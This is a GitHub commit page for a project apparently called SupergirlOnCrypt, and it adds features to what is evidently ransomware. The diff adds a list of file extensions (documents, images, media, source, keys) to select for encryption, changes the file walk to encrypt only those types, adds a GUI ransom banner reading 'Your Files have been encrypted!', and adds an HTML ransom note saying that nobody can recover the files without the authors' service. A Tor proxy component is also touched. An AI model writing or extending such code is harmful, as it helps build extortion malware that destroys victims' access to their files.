Skip to content

Commit

Permalink
RichTextBox in GUI, Choose Extensions to encrypt
Browse files Browse the repository at this point in the history
  • Loading branch information
ThoughtfulDev committed Sep 14, 2017
1 parent 2965e8a commit 78ac30d
Show file tree
Hide file tree
Showing 5 changed files with 42 additions and 7 deletions.
9 changes: 8 additions & 1 deletion App/Config.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,4 +2,11 @@

DEBUG_MODE = True
LOG_LEVEL = logging.DEBUG
API_URL = "http://localhost:8080"
API_URL = "http://localhost:8080"

FILE_TYPES = ['py', 'cpp', 'js', 'doc', 'docx', 'pdf', 'mp3', 'wav',
'mp4', 'txt', 'log', 'html', 'jpg', 'jpeg', 'gif', 'png', 'tga',
'flv', 'wmv', 'mpeg', 'mov', 'json', 'key', 'xml', 'htm',
'fb2', 'sxw', 'oxps', 'odt', 'ps', 'rtf', 'wpd', 'wp', 'wp7',
'md', 'sh'
]
17 changes: 13 additions & 4 deletions App/GUI.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
from PyQt5 import QtCore
from PyQt5.QtCore import QSize
from PyQt5.QtGui import QImage, QPalette, QBrush, QFont
from PyQt5.QtWidgets import QLabel, QPushButton, QWidget, QMessageBox
from PyQt5.QtWidgets import QLabel, QPushButton, QWidget, QMessageBox, QTextEdit
from Helper import Helper
from TorManager import TorManager
import Config
Expand All @@ -15,7 +15,7 @@ class GUI(QWidget):
def __init__(self, uuid):
self.uuid = uuid
QWidget.__init__(self)
self.headerFont = QFont("Times", 25, QFont.AllUppercase)
self.headerFont = QFont("Times", 22, QFont.AllUppercase)
self.setup()

def setup(self):
Expand All @@ -38,10 +38,19 @@ def setbg(self):

def placeWidgets(self):
#heading
self.lbHeader = QLabel("Your PC has been encrypted!", self)
self.lbHeader = QLabel("Oops, Your Files\nhave been encrypted!", self)
self.lbHeader.setFont(self.headerFont)
self.lbHeader.setStyleSheet("QLabel { color: white;}")
self.lbHeader.setGeometry(190, 10, 500, 50)
self.lbHeader.setGeometry(10, 15, 500, 120)

self.infoText = QTextEdit(self)
self.infoText.setReadOnly(True)
self.infoText.setGeometry(205, 150, 550, 360)
h = Helper()
with open(h.path('res/info.html'), 'r') as encrypt_info_file:
encrypt_text = encrypt_info_file.read().replace('\n', '')
self.infoText.setHtml(encrypt_text)


#button decrypt
self.btnDecrypt = QPushButton("Decrypt", self)
Expand Down
4 changes: 3 additions & 1 deletion App/SupergirlOnCrypt.py
Original file line number Diff line number Diff line change
Expand Up @@ -47,7 +47,9 @@ def genKeyPair():
_helper.debug("Got Response from /users/add => " + str(req.json()))
keys.forgetPrivate()

pathlist = Path('./test_files').glob('**/*')
pathlist = []
for types in Config.FILE_TYPES:
pathlist.extend(Path('./test_files').glob('**/*.' + types))
for path in pathlist:
path_in_str = str(path)
fc = FileCrypter()
Expand Down
3 changes: 2 additions & 1 deletion App/TorManager.py
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,8 @@ def startProxy(self):
self.startLinux()
elif platform == "win32":
self.startWindows()
time.sleep(10)
if Config.DEBUG_MODE is False:
time.sleep(10)

def startLinux(self):
copyfile(self._helper.path("./tor_bin/tor_linux.zip"), self.tor_path_linux + "zip")
Expand Down
16 changes: 16 additions & 0 deletions App/res/info.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
<p>
<h2>What happend to my Computer?</h2>
<p>
Your important Files are encrypted by SuperGirl.<br>
Many of your files, photos, documents, and databases are no longer accessible because
they have been encrypted. Nobody can recover your files without our service
</p>
</p>

<p>
<h2>Can I Recover my Files?</h2>
<p>
Sure! We guarantee that you can recover all your files safely and easily.<br>
Just do some random shit and click Decrypt!
</p>
</p>

0 comments on commit 78ac30d

Please sign in to comment.